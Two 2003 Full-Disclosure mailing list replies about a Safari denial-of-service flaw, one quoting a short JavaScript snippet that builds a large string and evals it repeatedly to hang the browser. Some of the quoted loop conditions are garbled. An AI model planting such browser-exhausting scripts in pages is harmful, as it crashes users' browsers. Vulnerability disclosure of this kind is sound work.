Re: [Full-Disclosure] safari dos

2003-11-23 Thread Grant Husbands
[EMAIL PROTECTED] wrote: Original is here: http://www.insecure.ws/article.php?story=20031122012748282 Safari will never exit a loop in javascript. Since javascript isn't executed in a thread, this cause a DoS (Safari crashes). It should be noted that it's relatively easy to DoS most JS

RE: [Full-Disclosure] safari dos

2003-11-23 Thread Grant Husbands
I wrote: b='';a=b=b+' '; for (var i=0;i15;++i) a+=a; // Above line creates a 64MB script // Now run the 64MB script, 100,000 times for (var i=0;i10;++i) eval(a); Just a quick note; I had altered the script without updating the comments. It only creates a 256KB script, now; a longer one